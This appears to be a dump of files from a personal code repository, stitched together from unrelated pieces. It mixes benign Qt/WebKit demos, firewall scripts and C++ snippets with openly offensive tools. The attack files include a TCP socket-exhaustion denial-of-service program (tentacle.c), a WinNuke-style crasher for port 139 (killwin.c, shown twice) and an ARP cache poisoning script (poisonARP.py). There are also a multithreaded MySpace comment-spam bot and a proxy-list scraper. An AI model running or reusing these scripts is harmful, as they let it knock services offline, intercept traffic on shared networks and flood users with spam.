view.resize(screenSize); 46 | view.show(); 47 | #endif 48 | 49 | return app.exec(); 50 | } 51 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/foldervis/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 69 | 70 | 71 |

72 |
73 | 74 | 75 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/codemirror/editor.h: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the Ofi Labs X2 project. 3 | 4 | Copyright (C) 2011 Ariya Hidayat 5 | 6 | This program is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU General Public License as 8 | published by the Free Software Foundation; either version 2 of 9 | the License, or (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #ifndef EDITOR 21 | #define EDITOR 22 | 23 | #include 24 | 25 | class CodeMirror; 26 | 27 | class Editor: public QMainWindow 28 | { 29 | Q_OBJECT 30 | 31 | public: 32 | Editor(QWidget *parent = 0); 33 | 34 | private slots: 35 | void fileNew(); 36 | void fileOpen(); 37 | void fileSave(); 38 | bool fileSaveAs(); 39 | void themeDefault(); 40 | void themeCobalt(); 41 | void themeElegant(); 42 | void themeNeat(); 43 | void themeNight(); 44 | 45 | protected: 46 | bool isModified(); 47 | void save(const QString &outputName); 48 | void updateTitle(); 49 | 50 | private: 51 | QString m_fileName; 52 | QString m_content; 53 | CodeMirror *m_edit; 54 | }; 55 | 56 | #endif 57 | -------------------------------------------------------------------------------- /exploits_denial/tentacle.c: -------------------------------------------------------------------------------- 1 | /* tentacle.c (c) 1999 Mixter 2 | * multi-process octopus.c clone 3 | * members.xoom.com/i0wnu 4 | * proof-of-concept DoS against tcp (coded in 10 mins :p) 5 | * open a huge number of sockets to a server, 6 | * then terminate the process without closing 7 | * the connection on the server side (big fun) */ 8 | 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | char argv1[128]; int argv2,argv3; 24 | void connexi0n (char *ip, int port); 25 | 26 | int 27 | main(int argc, char **argv) { 28 | int pid,timer; 29 | 30 | if (argc!=4) { 31 | printf("usage: %s \n",argv[0]); 32 | printf(" must be a running server\n"); 33 | printf("WARNING: This will not spoof your IP\n"); 34 | exit(0); 35 | } 36 | 37 | strcpy(argv1,argv[1]); argv2=atoi(argv[2]); argv3=atoi(argv[3]); 38 | 39 | for(timer=0;timer<=argv3;timer++) { 40 | usleep(250000); 41 | if ((pid=vfork()) < 0) { perror("fork"); exit(1); } 42 | if (pid==0) { 43 | connexi0n(argv1,argv2); 44 | kill(getpid(),9); 45 | } 46 | } 47 | 48 | return 0; 49 | } 50 | 51 | void 52 | connexi0n (char *ip, int port) 53 | { 54 | struct sockaddr_in target; 55 | target.sin_family = AF_INET; 56 | target.sin_port = htons(port); 57 | target.sin_addr.s_addr = inet_addr(ip); 58 | connect(socket(AF_INET,SOCK_STREAM,0), (struct sockaddr *)&target, 59 | sizeof(struct sockaddr)); 60 | sleep(30); 61 | return; 62 | } 63 | -------------------------------------------------------------------------------- /ofi-labs-x2/hybrid/nativedialog/nativedialog.cpp: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the Ofi Labs X2 project. 3 | 4 | Copyright (C) 2011 Ariya Hidayat 5 | 6 | This program is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU General Public License as 8 | published by the Free Software Foundation; either version 2 of 9 | the License, or (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #include "nativedialog.h" 21 | 22 | #include 23 | #include 24 | #include 25 | #include 26 | 27 | Dialog::Dialog(QObject *parent) 28 | : QObject(parent) 29 | { 30 | } 31 | 32 | void Dialog::showMessage(const QString &msg) 33 | { 34 | QMessageBox::information(0, "Information", msg); 35 | } 36 | 37 | int main(int argc, char **argv) 38 | { 39 | QApplication app(argc, argv); 40 | 41 | QWebView webView; 42 | webView.resize(400, 300); 43 | webView.setWindowTitle("Dialog Example"); 44 | webView.show(); 45 | 46 | webView.load(QUrl("qrc:/index.html")); 47 | QWebFrame *mainFrame = webView.page()->mainFrame(); 48 | mainFrame->addToJavaScriptWindowObject("Dialog", new Dialog); 49 | 50 | return app.exec(); 51 | } 52 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/codemirror/codemirror.h: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the Ofi Labs X2 project. 3 | 4 | Copyright (C) 2011 Ariya Hidayat 5 | 6 | This program is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU General Public License as 8 | published by the Free Software Foundation; either version 2 of 9 | the License, or (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #ifndef CODEMIRROR 21 | #define CODEMIRROR 22 | 23 | #include 24 | 25 | class External: public QObject 26 | { 27 | Q_OBJECT 28 | Q_PROPERTY(QString data READ data) 29 | 30 | public: 31 | External(QObject *parent = 0) 32 | : QObject(parent) 33 | { 34 | } 35 | 36 | QString text; 37 | QString data() const { 38 | return text; 39 | } 40 | }; 41 | 42 | class CodeMirror: public QWebView 43 | { 44 | Q_OBJECT 45 | 46 | public: 47 | CodeMirror(QWidget *parent = 0); 48 | 49 | QString text() const; 50 | void setText(const QString &text); 51 | 52 | void changeTheme(const QString &theme); 53 | 54 | public slots: 55 | void undo(); 56 | void redo(); 57 | void cut(); 58 | void copy(); 59 | void paste(); 60 | 61 | private: 62 | External *m_external; 63 | }; 64 | 65 | #endif 66 | -------------------------------------------------------------------------------- /cpp/linux-daemon/linux-daemon.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int main(void) { 12 | 13 | /* Our process ID and Session ID */ 14 | pid_t pid, sid; 15 | 16 | /* Fork off the parent process */ 17 | pid = fork(); 18 | if (pid < 0) { 19 | exit(EXIT_FAILURE); 20 | } 21 | /* If we got a good PID, then 22 | we can exit the parent process. */ 23 | if (pid > 0) { 24 | exit(EXIT_SUCCESS); 25 | } 26 | 27 | /* Change the file mode mask */ 28 | umask(0); 29 | 30 | /* Open any logs here */ 31 | 32 | /* Create a new SID for the child process */ 33 | sid = setsid(); 34 | if (sid < 0) { 35 | /* Log the failure */ 36 | exit(EXIT_FAILURE); 37 | } 38 | 39 | 40 | 41 | /* Change the current working directory */ 42 | if ((chdir("/")) < 0) { 43 | /* Log the failure */ 44 | exit(EXIT_FAILURE); 45 | } 46 | 47 | /* Close out the standard file descriptors */ 48 | close(STDIN_FILENO); 49 | close(STDOUT_FILENO); 50 | close(STDERR_FILENO); 51 | 52 | /* Daemon-specific initialization goes here */ 53 | 54 | /* The Big Loop */ 55 | while (1) { 56 | /* Do some task here ... */ 57 | 58 | sleep(30); /* wait 30 seconds */ 59 | } 60 | exit(EXIT_SUCCESS); 61 | } -------------------------------------------------------------------------------- /python/teh1337/commenter.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import urllib2, ClientForm, threading, sys 3 | 4 | email = "" # Email address of account to post comments 5 | password = "" # Password of account to post comments 6 | friendID = "" # Friend ID of recipient of comments 7 | message = "" # Message to leave in comments 8 | thread_limit = 40 # Number of bots to run in parallel 9 | 10 | class postComment(threading.Thread): 11 | def __init__(self): threading.Thread.__init__(self) 12 | def run(self): 13 | print "Posting comment %d!" % counter 14 | req = urllib2.Request("http://comment.myspace.com/index.cfm?fuseaction=user.viewProfile_commentForm&friendID=%s" % friendID) 15 | res = opener.open(req) 16 | forms = ClientForm.ParseResponse(res) 17 | form = forms[1] 18 | form["ctl00$cpMain$postComment$commentTextBox"] = message 19 | res = opener.open(form.click()) 20 | forms = ClientForm.ParseResponse(res) 21 | form = forms[1] 22 | opener.open(form.click()) 23 | 24 | # login 25 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 26 | opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')] 27 | urllib2.install_opener(opener) 28 | req = urllib2.Request("http://login.myspace.com/index.cfm?fuseaction=login.process") 29 | res = opener.open(req) 30 | forms = ClientForm.ParseResponse(res) 31 | form = forms[1] 32 | form["email"] = email 33 | form["password"] = password 34 | opener.open(form.click()) 35 | 36 | # post comment 37 | counter = 0 38 | while 1: 39 | try: 40 | if threading.activeCount() < thread_limit: 41 | print counter 42 | postComment().start() 43 | counter+=1 44 | sys.stdout.write("\r%d Comments Posted." % counter) 45 | sys.stdout.flush() 46 | except KeyboardInterrupt: break 47 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/codemirror/codemirror.css: -------------------------------------------------------------------------------- 1 | .CodeMirror { 2 | line-height: 1em; 3 | font-family: monospace; 4 | } 5 | 6 | .CodeMirror-scroll { 7 | overflow: auto; 8 | height: 300px; 9 | /* This is needed to prevent an IE[67] bug where the scrolled content 10 | is visible outside of the scrolling box. */ 11 | position: relative; 12 | } 13 | 14 | .CodeMirror-gutter { 15 | position: absolute; left: 0; top: 0; 16 | z-index: 10; 17 | background-color: #f7f7f7; 18 | border-right: 1px solid #eee; 19 | min-width: 2em; 20 | height: 100%; 21 | } 22 | .CodeMirror-gutter-text { 23 | color: #aaa; 24 | text-align: right; 25 | padding: .4em .2em .4em .4em; 26 | } 27 | .CodeMirror-lines { 28 | padding: .4em; 29 | } 30 | 31 | .CodeMirror pre { 32 | -moz-border-radius: 0; 33 | -webkit-border-radius: 0; 34 | -o-border-radius: 0; 35 | border-radius: 0; 36 | border-width: 0; margin: 0; padding: 0; background: transparent; 37 | font-family: inherit; 38 | font-size: inherit; 39 | padding: 0; margin: 0; 40 | white-space: pre; 41 | word-wrap: normal; 42 | } 43 | 44 | .CodeMirror textarea { 45 | font-family: inherit !important; 46 | font-size: inherit !important; 47 | } 48 | 49 | .CodeMirror-cursor { 50 | z-index: 10; 51 | position: absolute; 52 | visibility: hidden; 53 | border-left: 1px solid black !important; 54 | } 55 | .CodeMirror-focused .CodeMirror-cursor { 56 | visibility: visible; 57 | } 58 | 59 | span.CodeMirror-selected { 60 | background: #ccc !important; 61 | color: HighlightText !important; 62 | } 63 | .CodeMirror-focused span.CodeMirror-selected { 64 | background: Highlight !important; 65 | } 66 | 67 | .CodeMirror-matchingbracket {color: #0f0 !important;} 68 | .CodeMirror-nonmatchingbracket {color: #f22 !important;} 69 | -------------------------------------------------------------------------------- /qt/firewall/iptables/iptables.sh: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | ### BEGIN INIT INFO 3 | # Provides: wicd 4 | # Required-Start: dbus 5 | # Required-Stop: 6 | # Default-Start: 2 3 4 5 7 | # Default-Stop: 0 1 6 8 | # Short-Description: Starts and stops iptables 9 | # Description: Starts and stops iptables 10 | ### END INIT INFO 11 | 12 | # Author: CDN 10/12/09 13 | # 14 | 15 | IPTABLES="/sbin/iptables" 16 | IPTABLES_RESTORE="/sbin/iptables-restore" 17 | 18 | IPTABLES_LIST="$IPTABLES -v -L" 19 | 20 | HOME_FIREWALL="/etc/iptables/firewall-home.txt" 21 | PUBLIC_FIREWALL="/etc/iptables/firewall-public.txt" 22 | 23 | # default firewall - symbolic link to one of above files 24 | DEFAULT_FIREWALL="/etc/iptables/firewall-default.txt" 25 | 26 | 27 | # Flush any existing rules 28 | CLEAR_FIREWALL="$IPTABLES -F" 29 | 30 | case "$1" in 31 | start) 32 | echo "Start default firewall" 33 | $CLEAR_FIREWALL 34 | $IPTABLES_RESTORE < $DEFAULT_FIREWALL 35 | $IPTABLES_LIST 36 | ;; 37 | 38 | restart) 39 | echo "Restart default firewall" 40 | $CLEAR_FIREWALL 41 | $IPTABLES_RESTORE < $DEFAULT_FIREWALL 42 | $IPTABLES_LIST 43 | ;; 44 | 45 | home) 46 | echo "Start home network firewall" 47 | $CLEAR_FIREWALL 48 | $IPTABLES_RESTORE < $HOME_FIREWALL 49 | $IPTABLES_LIST 50 | ;; 51 | 52 | public) 53 | echo "Start public network firewall" 54 | $CLEAR_FIREWALL 55 | $IPTABLES_RESTORE < $PUBLIC_FIREWALL 56 | $IPTABLES_LIST 57 | ;; 58 | 59 | stop) 60 | $CLEAR_FIREWALL 61 | $IPTABLES_LIST 62 | echo "All firewall rules removed" 63 | ;; 64 | 65 | *) 66 | echo "Usage: $SCRIPTNAME {start|home|public|stop|restart}" >&2 67 | echo " Defaults to home firewall" >&2 68 | exit 1 69 | ;; 70 | esac 71 | 72 | 73 | exit 0 74 | 75 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/accelerometer/index.html: -------------------------------------------------------------------------------- 1 | Detect accelerometer support 2 | 3 | 32 | 33 | 34 |

Support for accelerometer: No.

35 |

Current acceleration: Unknown.

36 |

User agent: 37 | 38 |

39 | 40 | 41 | -------------------------------------------------------------------------------- /qt/firewall/iptables/firewall-home.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | ####################### 3 | # 4 | # CDN 10/12/2009 5 | # 6 | # firewall-laptop.sh 7 | # 8 | # Firewall rules for laptop when working 9 | # away from home 10 | # 11 | # Note: Must be run as root 12 | # 13 | ####################### 14 | 15 | IPTABLES="sudo /sbin/iptables" 16 | IPTABLES_SAVE="sudo /sbin/iptables-save" 17 | TARGET="/etc/iptables/firewall-home.txt" 18 | 19 | # Flush any existing rules 20 | $IPTABLES -F 21 | 22 | # used to identify the firewall type 23 | $IPTABLES -X PUBLIC-NETWORK 24 | $IPTABLES -N HOME-NETWORK 25 | 26 | 27 | # Default Policies 28 | $IPTABLES -P INPUT DROP 29 | $IPTABLES -P FORWARD DROP 30 | $IPTABLES -P OUTPUT ACCEPT 31 | 32 | # Accept local host 33 | $IPTABLES -A INPUT -i lo --source 127.0.0.1 --destination 127.0.0.1 -j ACCEPT 34 | 35 | 36 | # Accept established connection packets 37 | $IPTABLES -A INPUT -m state --state RELATED,ESTABLISHED -j ACCEPT 38 | 39 | # Accept anything on local network 40 | $IPTABLES -A INPUT -s 192.168.1.0/24 -j ACCEPT 41 | 42 | 43 | # Accept HTTP and HTTPS 44 | $IPTABLES -A INPUT -p tcp --dport http -j ACCEPT 45 | $IPTABLES -A INPUT -p tcp --dport https -j ACCEPT 46 | 47 | # Accept ssh 48 | $IPTABLES -A INPUT -p tcp --dport ssh -j ACCEPT 49 | 50 | # Allow anything from bigbox based on mac address or ip 51 | # bigbox has two LAN Cards - this only works for hard wired ethernet connections 52 | # $IPTABLES -A INPUT mac --mac-source 00:10:dc:fe:1a:70 -j ACCEPT 53 | # $IPTABLES -A INPUT mac --mac-source 00:00:21:20:4a:31 -j ACCEPT 54 | 55 | 56 | 57 | # Allow limited number of pings 58 | $IPTABLES -A INPUT -p icmp -m limit --limit 1/second --limit-burst 5 -j ACCEPT 59 | $IPTABLES -A INPUT -p icmp -j DROP 60 | 61 | $IPTABLES_SAVE > $TARGET 62 | 63 | # List rules 64 | $IPTABLES -v -L 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | -------------------------------------------------------------------------------- /ofi-labs-x2/webkit/foldervis/foldervis.h: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the Ofi Labs X2 project. 3 | 4 | Copyright (C) 2011 Ariya Hidayat 5 | 6 | This program is free software; you can redistribute it and/or 7 | modify it under the terms of the GNU General Public License as 8 | published by the Free Software Foundation; either version 2 of 9 | the License, or (at your option) any later version. 10 | 11 | This program is distributed in the hope that it will be useful, 12 | but WITHOUT ANY WARRANTY; without even the implied warranty of 13 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 14 | GNU General Public License for more details. 15 | 16 | You should have received a copy of the GNU General Public License 17 | along with this program. If not, see . 18 | */ 19 | 20 | #ifndef FOLDERVIS 21 | #define FOLDERVIS 22 | 23 | #include 24 | #include 25 | 26 | struct Entry { 27 | QString name; 28 | int size; 29 | QList children; 30 | }; 31 | 32 | class Crawler: public QObject 33 | { 34 | Q_OBJECT 35 | Q_PROPERTY(QString tree READ tree) 36 | 37 | public: 38 | Crawler(QObject *parent); 39 | QString tree() const; 40 | 41 | public slots: 42 | void start(const QString &dir); 43 | 44 | signals: 45 | void progress(int count); 46 | void finished(); 47 | 48 | private: 49 | QString m_dir; 50 | int m_count; 51 | Entry m_rootEntry; 52 | 53 | protected: 54 | Entry search(const QString &dir); 55 | }; 56 | 57 | class Visualizer: public QWebView 58 | { 59 | Q_OBJECT 60 | 61 | public: 62 | Visualizer(const QString &dir); 63 | 64 | private slots: 65 | void setup(); 66 | 67 | private: 68 | QString m_dir; 69 | Crawler *m_crawler; 70 | }; 71 | 72 | #endif 73 | -------------------------------------------------------------------------------- /python/teh1337/sharada.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # 3 | # Operation Sharada Sharada 4 | # By James Penguin (jamespenguin@gmail.com) 5 | # 6 | import urllib2, os, BeautifulSoup 7 | 8 | ### 9 | # Global Config 10 | ### 11 | base_url = "http://www.samair.ru/proxy/type-%s.htm" 12 | 13 | ### End Global Config ### 14 | 15 | def determine_total_pages(): 16 | global base_url 17 | url = base_url % "01" 18 | page = urllib2.urlopen(url).read() 19 | return int(page.split("total pages:")[1].split(",")[0].strip()) 20 | 21 | def retrieve_proxies(page_number): 22 | global base_url 23 | page_number = "%02d" % page_number 24 | url = base_url % page_number 25 | page = urllib2.urlopen(url).read() 26 | soup = BeautifulSoup.BeautifulSoup(page) 27 | proxies = [] 28 | for table in soup.findAll("table"): 29 | for row in table.findAll("td"): 30 | row = str(row.string) 31 | if not "." in row or ":" not in row: 32 | continue 33 | proxies.append(row) 34 | return proxies 35 | 36 | def export(proxies): 37 | proxy_file = open("proxies.txt", "a") 38 | for proxy in proxies: 39 | proxy_file.write("%s\n" % proxy) 40 | proxy_file.close() 41 | 42 | if __name__ == "__main__": 43 | try: 44 | opener = urllib2.build_opener(urllib2.HTTPCookieProcessor()) 45 | opener.addheaders = [('User-agent', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT)')] 46 | urllib2.install_opener(opener) 47 | open("proxies.txt", "w").close() # prep a file for writing proxies 48 | total = determine_total_pages() 49 | for page_number in range(total): 50 | page_number += 1 51 | print "[+] Retrieving proxies from page %d of %d" % (page_number, total) 52 | export(retrieve_proxies(page_number)) 53 | except KeyboardInterrupt: 54 | print 55 | -------------------------------------------------------------------------------- /ofi-labs-x2/graphics/shadowblur/shadowblur.h: -------------------------------------------------------------------------------- 1 | /* 2 | This file is part of the Ofi Labs X2 project. 3 | 4 | Copyright (C) 2010 Ariya Hidayat 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright 10 | notice, this list of conditions and the following disclaimer. 11 | * Redistributions in binary form must reproduce the above copyright 12 | notice, this list of conditions and the following disclaimer in the 13 | documentation and/or other materials provided with the distribution. 14 | * Neither the name of the nor the 15 | names of its contributors may be used to endorse or promote products 16 | derived from this software without specific prior written permission. 17 | 18 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 19 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 20 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE 21 | ARE DISCLAIMED. IN NO EVENT SHALL BE LIABLE FOR ANY 22 | DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 23 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 24 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 25 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 26 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 27 | THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 28 | */ 29 | 30 | #ifndef OFILABS_SHADOWBLUR 31 | #define OFILABS_SHADOWBLUR 32 | 33 | #include 34 | 35 | void shadowBlur(QImage& image, int radius, const QColor& color); 36 | 37 | #endif 38 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/marblebox/index.html: -------------------------------------------------------------------------------- 1 | Box of Marbles 2 | 3 | 4 | 64 | 65 | 66 |
Box of Marbles (by Ariya Hidayat)
67 | 68 | 69 | 70 | 71 |
Tap to add some marbles!
72 | 73 | 74 | -------------------------------------------------------------------------------- /exploits_denial/killwin.c: -------------------------------------------------------------------------------- 1 | /* killwin.c - winnuke idea, modifcation for me ONLY - napster */ 2 | 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int x, y, sockdesc, port = 139, hits = 1; 12 | char *target, *str = "Later."; 13 | 14 | void parse_args(int argc, char *argv[]); 15 | 16 | void usage(char *progname) { 17 | printf("Usage: %s [-p port (Default 139)] [-t hits (Default 1)]\n", progname); 18 | exit(-1); 19 | } 20 | 21 | void parse_args(int argc, char *argv[]) { 22 | target = argv[1]; 23 | if (argv[1][0] == '-') { 24 | printf("Must specify a target.\n"); 25 | exit(-1); 26 | } 27 | for(y=2;yh_addr, he->h_length); 49 | } else { 50 | perror("Resolving"); 51 | } 52 | 53 | sockdesc = socket(AF_INET, SOCK_STREAM, 0); 54 | 55 | if (sockdesc < 0) { 56 | perror("socket"); 57 | exit(-1); 58 | } 59 | 60 | if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) { 61 | perror("connect"); 62 | close(sockdesc); 63 | exit(-1); 64 | } 65 | 66 | printf("Connected to [%s:%d].\n", target, port); 67 | printf("Sending crash %d times...\n", hits); 68 | 69 | for (x=0;x 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | int x, y, sockdesc, port = 139, hits = 1; 12 | char *target, *str = "Later."; 13 | 14 | void parse_args(int argc, char *argv[]); 15 | 16 | void usage(char *progname) { 17 | printf("Usage: %s [-p port (Default 139)] [-t hits (Default 1)]\n", progname); 18 | exit(-1); 19 | } 20 | 21 | void parse_args(int argc, char *argv[]) { 22 | target = argv[1]; 23 | if (argv[1][0] == '-') { 24 | printf("Must specify a target.\n"); 25 | exit(-1); 26 | } 27 | for(y=2;yh_addr, he->h_length); 49 | } else { 50 | perror("Resolving"); 51 | } 52 | 53 | sockdesc = socket(AF_INET, SOCK_STREAM, 0); 54 | 55 | if (sockdesc < 0) { 56 | perror("socket"); 57 | exit(-1); 58 | } 59 | 60 | if (connect(sockdesc, (struct sockaddr *)&sin, sizeof(sin)) < 0) { 61 | perror("connect"); 62 | close(sockdesc); 63 | exit(-1); 64 | } 65 | 66 | printf("Connected to [%s:%d].\n", target, port); 67 | printf("Sending crash %d times...\n", hits); 68 | 69 | for (x=0;x> ~/authorized_keys 56 | 57 | echo " " 58 | echo "TYPE PASSWORD FOR YOUR REMOTE ACCOUNT WHEN ASKED" 59 | echo " " 60 | 61 | echo "------------------------------" 62 | 63 | # Uploads keys to ixtab and sets safe permissions 64 | scp ~/authorized_keys $USERNAME@$SERVER: 65 | ssh $USERNAME@$SERVER << ENDSSH 66 | mkdir -p ~/.ssh 67 | touch ~/authorized_keys 68 | cat ~/authorized_keys >> ~/.ssh/authorized_keys 69 | rm ~/authorized_keys 70 | chmod 700 ./.ssh/authorized_keys 71 | ENDSSH 72 | 73 | echo "------------------------------" 74 | 75 | if [ $? == 0 ] 76 | then 77 | echo " " 78 | echo "Key-login configured!" 79 | echo " " 80 | else 81 | echo " " 82 | echo "Key-login configuration FAILED!" 83 | echo " " 84 | fi 85 | 86 | # Removes temporary file 87 | rm ~/authorized_keys 88 | 89 | exit 90 | -------------------------------------------------------------------------------- /ofi-labs-x2/javascript/underwater/index.html: -------------------------------------------------------------------------------- 1 | Underwater effect with Canvas 2 | 3 | 12 | 13 | 35 | 36 | 37 |

Underwater Effect with HTML5 Canvas

38 |

Loading... Please wait.

39 | 40 | 41 | 42 | 58 | 59 | 60 | -------------------------------------------------------------------------------- /python/teh1337/poisonARP.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | import scapy, sys, time, threading 3 | 4 | def ip_iterate(start, end): 5 | start = map(int,start.split(".")) 6 | end = map(int,end.split(".")) 7 | ips = [] 8 | while start != end: 9 | ips.append(".".join(map(str,start))) 10 | start[3] += 1 11 | if start[3] > 254: 12 | start[3] = 1 13 | start[2] += 1 14 | for i in range(2,-1,-1): 15 | if start[i] > 255: 16 | start[i] = 0 17 | start[i-1] += 1 18 | ips.append(".".join(map(str,end))) 19 | return ips 20 | 21 | class poisonARP(threading.Thread): 22 | def __init__(self,ip): 23 | threading.Thread.__init__(self) 24 | self.ip = ip 25 | def run(self): 26 | a = scapy.ARP() 27 | a.psrc = sys.argv[1] 28 | a.pdst = self.ip 29 | scapy.send(a) 30 | print "[+] Poisoned entry %s for host %s" % (sys.argv[1],self.ip) 31 | 32 | 33 | if __name__ == "__main__": 34 | thread_limit = 100 35 | scapy.conf.verb = 0 36 | 37 | if len(sys.argv) < 3: 38 | print "Usage: %s Router-IP Victim-IP [End-Range-IP]\n- Examples -" % sys.argv[0] 39 | print "For a single host:" 40 | print "\t%s 192.168.1.1 192.168.1.235" % sys.argv[0] 41 | print "For a range of hosts:" 42 | print "\t%s 192.168.1.1 192.168.2 192.168.254" % sys.argv[0] 43 | sys.exit(0) 44 | if len(sys.argv) == 3: end = sys.argv[2] 45 | else: end = sys.argv[3] 46 | 47 | ips = ip_iterate(sys.argv[2],end) 48 | while True: 49 | for ip in ips: 50 | while threading.activeCount() > thread_limit: pass 51 | poisonARP(ip).start() 52 | time.sleep(90) 53 | -------------------------------------------------------------------------------- /cpp/constexpr-string/2.h: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | // helper function 4 | constexpr unsigned c_strlen( char const* str, unsigned count = 0 ) 5 | { 6 | return ('\0' == str[0]) ? count : c_strlen(str+1, count+1); 7 | } 8 | 9 | // helper "function" struct 10 | template < char t_c, char... tt_c > 11 | struct rec_print 12 | { 13 | static void print() 14 | { 15 | std::cout << t_c; 16 | rec_print < tt_c... > :: print (); 17 | } 18 | }; 19 | template < char t_c > 20 | struct rec_print < t_c > 21 | { 22 | static void print() { std::cout << t_c; } 23 | }; 24 | 25 | 26 | // destination "template string" type 27 | template < char... tt_c > 28 | struct exploded_string 29 | { 30 | static void print() 31 | { 32 | rec_print < tt_c... > :: print(); 33 | } 34 | }; 35 | 36 | // struct to explode a `char const*` to an `exploded_string` type 37 | template < typename T_StrProvider, unsigned t_len, char... tt_c > 38 | struct explode_impl 39 | { 40 | using result = 41 | typename explode_impl < T_StrProvider, t_len-1, 42 | T_StrProvider::str()[t_len-1], 43 | tt_c... > :: result; 44 | }; 45 | 46 | template < typename T_StrProvider, char... tt_c > 47 | struct explode_impl < T_StrProvider, 0, tt_c... > 48 | { 49 | using result = exploded_string < tt_c... >; 50 | }; 51 | 52 | // syntactical sugar 53 | template < typename T_StrProvider > 54 | using explode = 55 | typename explode_impl < T_StrProvider, 56 | c_strlen(T_StrProvider::str()) > :: result; 57 | 58 | 59 | int main() 60 | { 61 | // the trick is to introduce a type which provides the string, rather than 62 | // storing the string itself 63 | struct my_str_provider 64 | { 65 | constexpr static char const* str() { return "hello world"; } 66 | }; 67 | 68 | auto my_str = explode < my_str_provider >{}; // as a variable 69 | using My_Str = explode < my_str_provider >; // as a type 70 | 71 | str.print(); 72 | } 73 | -------------------------------------------------------------------------------- /etc/nflogd/NOTES: -------------------------------------------------------------------------------- 1 | 2 | SAMPLE SETUP: 3 | iptables -A INPUT .... -j NFLOG --nflog-group=1 4 | nflogd --channel 1 5 | 6 | now nflogd will get packets from iptables and log. 7 | 8 | 9 | PCAP: 10 | 11 | nflogd have ability to write a pcap file 12 | with packets it get. 13 | 14 | #nflogd --channel 1 --pcap d1.pcap 15 | 16 | ethernet header is reconstructed in form: 17 | destination: FACE out-dev 18 | source: FACE in-dev 19 | 20 | say fa:ce:02:00:00:00 - mean 2'nd interface 21 | 22 | timestamp not always available, 23 | so it can be 0 24 | 25 | 26 | ROTATE LOG/PCAP FILES: 27 | HUP signal cause to reopen log(if daemon) and pcap files. 28 | 29 | so, you should `mv` files first 30 | and `kill -HUP` second. 31 | btw, be careful, if you run nflogd as user, check if this user can write/create logfile 32 | 33 | DAEMON MODE: 34 | if run with `--daemon logfile.txt` - nflogd will run in daemon mode 35 | and logs to file (not a stdout). 36 | 37 | error messages can be lost - you must redirect stderr 38 | to file or pipe. 39 | 40 | 41 | 42 | PERFORMANCE: 43 | i not expect nflog to be a high performance. 44 | 45 | it used to collect some packets at my home laptop 46 | (don't like to trash dmesg with -j LOG target) 47 | 48 | 49 | SAMPLE LOG: 50 | TS indev outdev iplen src dest proto sport dport 51 | 0.0 2 0 48 77.37.234.10 192.168.4.2 UDP 24468 44881 52 | 0.0 2 0 55 